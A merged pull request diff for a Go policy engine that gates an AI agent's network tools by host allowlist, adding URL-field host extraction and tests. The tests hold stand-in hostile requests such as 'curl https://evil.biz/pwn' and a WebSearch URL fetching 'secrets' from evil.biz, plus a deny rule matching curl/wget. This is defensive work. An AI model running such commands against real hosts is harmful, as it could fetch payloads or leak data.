Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 12 additions & 3 deletions control-plane/internal/policy/policy.go
Original file line number Diff line number Diff line change
Expand Up @@ -161,8 +161,7 @@ type hostAllowlistEvaluator struct {
}

func (e hostAllowlistEvaluator) Evaluate(req EvalRequest) string {
cmd, _ := req.Input["command"].(string)
host := extractHost(cmd)
host := extractHostFromInput(req.Input)
if host == "" {
return "skip"
}
Expand Down Expand Up @@ -370,6 +369,17 @@ func extractPackageToken(cmd string) string {

var urlHostRE = regexp.MustCompile(`https?://([A-Za-z0-9.\-]+)`)

func extractHostFromInput(input map[string]any) string {
u, _ := input["url"].(string)
if u != "" {
if host := extractHost(u); host != "" {
return host
}
}
cmd, _ := input["command"].(string)
return extractHost(cmd)
}

func extractHost(cmd string) string {
m := urlHostRE.FindStringSubmatch(cmd)
if len(m) < 2 {
Expand Down Expand Up @@ -863,4 +873,3 @@ func compilePathGlob(g string) (*regexp.Regexp, error) {
b.WriteString("$")
return regexp.Compile(b.String())
}

61 changes: 61 additions & 0 deletions control-plane/internal/policy/policy_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -237,6 +237,28 @@ gates:
on_miss: deny
`

const netEgressURLYAML = `
version: 1
mode: enforce
gates:
- id: rogue.net-egress
match:
any_of:
- tool: Bash
command_regex: '\b(curl|wget)\b'
- tool: WebFetch
any_url_regex:
- '^https?://'
- tool: WebSearch
any_url_regex:
- '^https?://'
evaluate:
- kind: host-allowlist
list: __INLINE__:api.anthropic.com,api.openai.com
on_hit: allow
on_miss: deny
`

const typosquatYAML = `
version: 1
mode: enforce
Expand Down Expand Up @@ -481,6 +503,45 @@ func TestEvaluate_HostAllowlist_NoURLDoesNotMatch(t *testing.T) {
}
}

func TestEvaluate_HostAllowlist_WebFetchURLHitAllows(t *testing.T) {
p, err := Load(strings.NewReader(netEgressURLYAML))
if err != nil {
t.Fatalf("load: %v", err)
}
v := p.Evaluate(EvalRequest{
Tool: "WebFetch",
Input: map[string]any{"url": "https://api.openai.com/v1/responses"},
})
if v.Verdict != "allow" || v.RuleID != "rogue.net-egress" {
t.Fatalf("got %+v", v)
}
}

func TestEvaluate_HostAllowlist_WebSearchURLMissDenies(t *testing.T) {
p, _ := Load(strings.NewReader(netEgressURLYAML))
v := p.Evaluate(EvalRequest{
Tool: "WebSearch",
Input: map[string]any{"url": "https://evil.biz/search?q=secrets"},
})
if v.Verdict != "deny" || v.RuleID != "rogue.net-egress" {
t.Fatalf("got %+v", v)
}
}

func TestEvaluate_HostAllowlist_PrefersURLFieldOverCommand(t *testing.T) {
p, _ := Load(strings.NewReader(netEgressURLYAML))
v := p.Evaluate(EvalRequest{
Tool: "WebFetch",
Input: map[string]any{
"url": "https://api.openai.com/v1/responses",
"command": "curl https://evil.biz/pwn",
},
})
if v.Verdict != "allow" {
t.Fatalf("got %+v", v)
}
}

func TestEvaluate_MultiEvaluator_SkipThenAlways(t *testing.T) {
p, _ := Load(strings.NewReader(multiEvalYAML))
// "zzz" not in allowlist → on_miss=skip → fallthrough to always:deny
Expand Down
Loading